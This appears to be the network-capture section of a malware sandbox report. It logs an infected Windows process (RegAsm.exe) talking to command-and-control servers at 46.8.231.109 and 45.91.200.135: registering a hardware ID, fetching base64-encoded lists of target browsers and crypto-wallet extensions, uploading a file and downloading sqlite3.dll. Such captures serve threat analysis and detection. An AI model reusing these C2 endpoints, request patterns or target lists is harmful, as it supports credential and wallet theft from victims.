Sep 18, 2024 14:30:21.251835108 CEST	275	OUT	POST /api/wp-admin.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 517 Host: 45.91.200.135
Sep 18, 2024 14:30:21.251857996 CEST	517	OUT	Data Raw: 64 61 74 61 3d 4e 77 6f 53 63 4b 51 38 67 71 71 6e 5a 32 70 68 6d 64 36 4e 36 50 74 4e 53 2d 59 71 79 41 42 75 33 74 33 39 52 4e 61 52 58 73 77 44 71 4b 6c 37 6e 31 38 5a 6e 75 35 70 57 53 5a 32 4f 72 63 56 4c 53 64 52 58 46 6e 46 51 61 6f 78 74 Data Ascii: data=NwoScKQ8gqqnZ2phmd6N6PtNS-YqyABu3t39RNaRXswDqKl7n18Znu5pWSZ2OrcVLSdRXFnFQaoxt7McVQ-02B4dKz-2diOGzlM7sUU97xt91A-NxE7WJ9vTv42wN3lpHfNF41nr3DO8LfdmPUg8JCT5iiHPBy6bwttiDNZz1sr_Bsj-gs88qpDaLCur7qvYQOfCsSBhDHt9WdAHx9fhGB_ldFT0Bi-kwTE3BsMs8zUNdS
Sep 18, 2024 14:30:23.242611885 CEST	363	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:21 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 62 6d 62 6b 66 2b 30 67 67 63 51 45 42 67 2b 63 62 42 33 51 58 44 58 49 57 30 4d 2f 4d 62 74 7a 34 6a 4c 30 2f 33 70 2b 73 6a 33 49 73 58 61 4e 69 69 71 64 78 33 38 49 76 4c 74 63 69 77 5a 48 47 61 77 43 41 4a 59 42 2f 31 73 42 42 45 49 2f 63 4d 30 4a 48 45 6a 6f 58 38 69 30 34 68 51 69 48 78 39 4e 4b 55 6a 61 58 6b 49 3d Data Ascii: bmbkf+0ggcQEBg+cbB3QXDXIW0M/Mbtz4jL0/3p+sj3IsXaNiiqdx38IvLtciwZHGawCAJYB/1sBBEI/cM0JHEjoX8i04hQiHx9NKUjaXkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49731	46.8.231.109	80	2508	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 18, 2024 14:30:31.547959089 CEST	87	OUT	GET / HTTP/1.1 Host: 46.8.231.109 Connection: Keep-Alive Cache-Control: no-cache
Sep 18, 2024 14:30:32.149570942 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 18, 2024 14:30:32.169295073 CEST	413	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHDHIEGIIIDHIDHDHJJ Host: 46.8.231.109 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 34 35 45 39 32 41 32 46 44 41 35 31 39 31 35 33 33 34 32 33 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 2d 2d 0d 0a Data Ascii: ------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="hwid"445E92A2FDA51915334237------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="build"default------JEHDHIEGIIIDHIDHDHJJ--
Sep 18, 2024 14:30:32.791393042 CEST	407	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:32 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 57 49 33 59 54 41 33 5a 57 45 33 4d 44 59 31 4e 7a 5a 6c 5a 47 45 32 4e 44 51 78 4e 44 51 34 59 54 68 68 59 6a 67 78 4d 7a 45 78 5a 57 56 69 4d 6d 5a 6c 5a 54 52 6c 4d 6a 42 6c 4f 54 56 6c 59 54 55 32 5a 54 46 6d 4e 32 56 6d 4d 54 64 6b 4d 7a 4a 6b 4e 54 4d 34 4f 54 64 6a 4e 47 4e 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YWI3YTA3ZWE3MDY1NzZlZGE2NDQxNDQ4YThhYjgxMzExZWViMmZlZTRlMjBlOTVlYTU2ZTFmN2VmMTdkMzJkNTM4OTdjNGNkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Sep 18, 2024 14:30:32.932159901 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFCBFHJDHJKECAKEHID Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 44 2d 2d 0d 0a Data Ascii: ------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------AKFCBFHJDHJKECAKEHIDContent-Disposition: form-data; name="message"browsers------AKFCBFHJDHJKECAKEHID--
Sep 18, 2024 14:30:33.109838009 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:33 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 18, 2024 14:30:33.109895945 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 18, 2024 14:30:34.752650976 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIDAAFBGDBKJJJKFIIIJ Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 2d 2d 0d 0a Data Ascii: ------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="message"plugins------IIDAAFBGDBKJJJKFIIIJ--
Sep 18, 2024 14:30:34.930335999 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:34 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 18, 2024 14:30:34.930362940 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Sep 18, 2024 14:30:34.930377007 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Sep 18, 2024 14:30:34.930491924 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Sep 18, 2024 14:30:34.930509090 CEST	896	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Sep 18, 2024 14:30:34.931884050 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
Sep 18, 2024 14:30:34.931900978 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
Sep 18, 2024 14:30:35.150398016 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDHCFBAKFBGDGDHJKJJ Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 65 61 37 30 36 35 37 36 65 64 61 36 34 34 31 34 34 38 61 38 61 62 38 31 33 31 31 65 65 62 32 66 65 65 34 65 32 30 65 39 35 65 61 35 36 65 31 66 37 65 66 31 37 64 33 32 64 35 33 38 39 37 63 34 63 64 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 48 43 46 42 41 4b 46 42 47 44 47 44 48 4a 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------FIDHCFBAKFBGDGDHJKJJContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------FIDHCFBAKFBGDGDHJKJJContent-Disposition: form-data; name="message"fplugins------FIDHCFBAKFBGDGDHJKJJ--
Sep 18, 2024 14:30:35.328478098 CEST	335	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:35 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 18, 2024 14:30:35.632623911 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFCBFBGDBKJKECAAKKF Host: 46.8.231.109 Content-Length: 6071 Connection: Keep-Alive Cache-Control: no-cache
Sep 18, 2024 14:30:35.632652998 CEST	6071	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 62 37 61 30 37 Data Ascii: ------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="token"ab7a07ea706576eda6441448a8ab81311eeb2fee4e20e95ea56e1f7ef17d32d53897c4cd------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 18, 2024 14:30:35.863934994 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 18, 2024 14:30:35.927812099 CEST	91	OUT	GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Sep 18, 2024 14:30:36.102318048 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Sep 2024 12:30:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 